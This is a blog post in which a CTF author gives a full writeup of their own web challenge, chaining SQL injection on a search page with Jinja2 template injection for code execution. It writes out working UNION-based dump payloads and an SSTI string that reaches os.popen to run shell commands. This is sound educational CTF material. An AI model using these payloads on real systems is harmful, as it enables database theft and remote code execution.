First CTF Challenge, First Flag Dropped
π© First CTF Challenge, First Flag Dropped (Web Category)
Last weekend's GCDxN7 CTF, hosted at ENSA Marrakech in collaboration with ENSET Mohammedia, was intense, exhausting, and incredibly rewarding.
While teams were hunting flags, I was on the other side of the battlefield β contributing as a Web challenge author for the first time. Designing a challenge, testing edge cases, breaking my own logic, fixing it againβ¦ and then watching players struggle, adapt, and finally solve it was a whole new kind of adrenaline.
Below is the full writeup of the challenge I created.
Challenge Overview
This challenge requires chaining two critical web vulnerabilities to retrieve the flag:
- SQL Injection in the search and login functionality
- Server-Side Template Injection (SSTI) in the template preview feature
Setup
cd web_challenge
pip install -r requirements.txt
python app.py
The application runs at http://localhost:5000.
Part 1: SQL Injection
Step 1: Identify the Vulnerability
Visit the search page at /search and test for SQL injection:
' OR '1'='1

The app returns all results β classic unfiltered input.
Step 2: Determine Column Count
Use a UNION SELECT to figure out how many columns the query returns:
' UNION SELECT 1,2,3,4-- -

Step 3: Extract Database Version
' UNION SELECT 1,sqlite_version(),3,4-- -

We're dealing with SQLite β good to know for syntax.
Step 4: Enumerate Tables
' UNION SELECT 1,name,3,4 FROM sqlite_master WHERE type='table'-- -

A users table β exactly what we need.
Step 5: Dump Credentials
' UNION SELECT id,username,password,4 FROM users-- -

We now have the admin credentials:
- Username:
00xtrkh - Password:
00xtrkh@@@!!!!!A
Part 2: Server-Side Template Injection (SSTI)
Step 1: Access the Template Preview
Log in with the extracted admin credentials and navigate to the Template Preview page.

Step 2: Confirm SSTI
Test with a basic Jinja2 expression:
{{ 7*7 }}
If the output is 49, the template engine is rendering user input β SSTI confirmed.

Step 3: Achieve Remote Code Execution
Use Python's MRO (Method Resolution Order) to traverse the class hierarchy and access os.popen:
{{"".__class__.__base__.__subclasses__()["80"].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}

We can see flag.txt in the directory listing.
Step 4: Capture the Flag
{{"".__class__.__base__.__subclasses__()["80"].__init__.__globals__['sys'].modules['os'].popen('cat flag.txt').read()}}

π΄ Flag captured.
Why I Designed It This Way
The idea was to force players to chain vulnerabilities β not just find one bug, but connect two different attack surfaces:
- SQLi gives you access (credentials), but not the flag
- SSTI gives you code execution, but you need to be authenticated first
Neither vulnerability alone is enough. You have to think about the attack chain, which mirrors real-world scenarios where a single bug isn't always the full story.
Design Decisions
- SQLite instead of MySQL/PostgreSQL β simpler to deploy in a CTF environment, but the injection techniques still apply
- Jinja2 SSTI β one of the most common template injection vectors in Python web apps
- Intentional credential complexity β the password
00xtrkh@@@!!!!!Amakes brute-forcing impractical, pushing players toward the SQLi path - Separate attack surfaces β search page for SQLi, admin panel for SSTI, forcing players to explore the full app
π₯ Building a challenge is different from solving one
- You learn how attackers think
- You discover how fragile assumptions can be
- You realize how small details turn into big vulnerabilities
Huge respect to everyone who solved this β you didn't just find a flag, you validated weeks of learning and experimentation.
π‘ Lessons Learned
-
Think like the attacker β Every input field is a potential entry point. When you're the author, you have to anticipate every creative bypass players might try.
-
Test your own assumptions β I thought my challenge was solid, until I started breaking it myself during QA. Edge cases are everywhere.
-
Infrastructure matters β A challenge is only as good as its uptime. Keeping things running during 12 hours of load was its own challenge.
-
The feedback loop is addictive β Watching the scoreboard update when someone solves your challenge is pure validation.
What's Next?
This was my first step into CTF challenge creation, and definitely not the last.
More ideas, more bugs, more learning coming soon.
π On to the next one.